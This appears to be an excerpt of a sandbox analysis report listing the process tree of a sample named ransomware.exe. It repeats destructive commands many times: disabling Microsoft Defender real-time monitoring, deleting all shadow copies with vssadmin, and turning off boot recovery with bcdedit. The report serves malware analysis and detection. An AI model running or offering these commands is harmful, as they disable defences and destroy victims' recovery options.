C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"63⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"62⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet63⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"62⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No63⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet62⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""63⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"64⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"63⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet64⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"63⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No64⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet63⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""64⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"65⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"64⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet65⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"64⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No65⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet64⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""65⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"66⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"65⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet66⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"65⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No66⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet65⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""66⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"67⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"66⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet67⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"66⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No67⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet66⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""67⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"68⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"67⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet68⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"67⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No68⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet67⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""68⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"69⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"68⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet69⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"68⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No69⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet68⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""69⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"70⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"69⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet70⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"69⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No70⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet69⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""70⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"71⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"70⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet71⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"70⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No71⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet70⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""71⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"72⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"71⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet72⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"71⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No72⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet71⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""72⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"73⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"72⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet73⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"72⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No73⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet72⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""73⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"74⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"73⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet74⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"73⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No74⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet73⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""74⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"75⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"74⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet75⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"74⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No75⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet74⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""75⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"76⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"75⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet76⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"75⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No76⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet75⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""76⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"77⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"76⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet77⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"76⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No77⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet76⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""77⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"78⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"77⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet78⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"77⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No78⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet77⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""78⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"79⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"78⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet79⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"78⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No79⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet78⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""79⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"80⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"79⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet80⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"79⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No80⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet79⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""80⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"81⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"80⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet81⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"80⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No81⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet80⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""81⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"82⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"81⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet82⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"81⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No82⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet81⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""82⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"83⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"82⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet83⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"82⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No83⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet82⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""83⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"84⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"83⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet84⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"83⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No84⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet83⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""84⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"85⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"84⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet85⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"84⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No85⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet84⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""85⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"86⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"85⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet86⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"85⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No86⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet85⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""86⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"87⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"86⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet87⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"86⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No87⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet86⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""87⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"88⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"87⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet88⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"87⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No88⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet87⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""88⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"89⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"88⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet89⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"88⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No89⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet88⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""89⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"90⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"89⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet90⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"89⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No90⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet89⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""90⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"91⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"90⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet91⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"90⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No91⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet90⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""91⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"92⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"91⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet92⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"91⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No92⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet91⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""92⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"93⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"92⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet93⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"92⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No93⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet92⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""93⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"94⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"93⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet94⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"93⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No94⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet93⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""94⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"95⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"94⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet95⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"94⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No95⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet94⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""95⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"96⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"95⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet96⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"95⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No96⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet95⤵
-
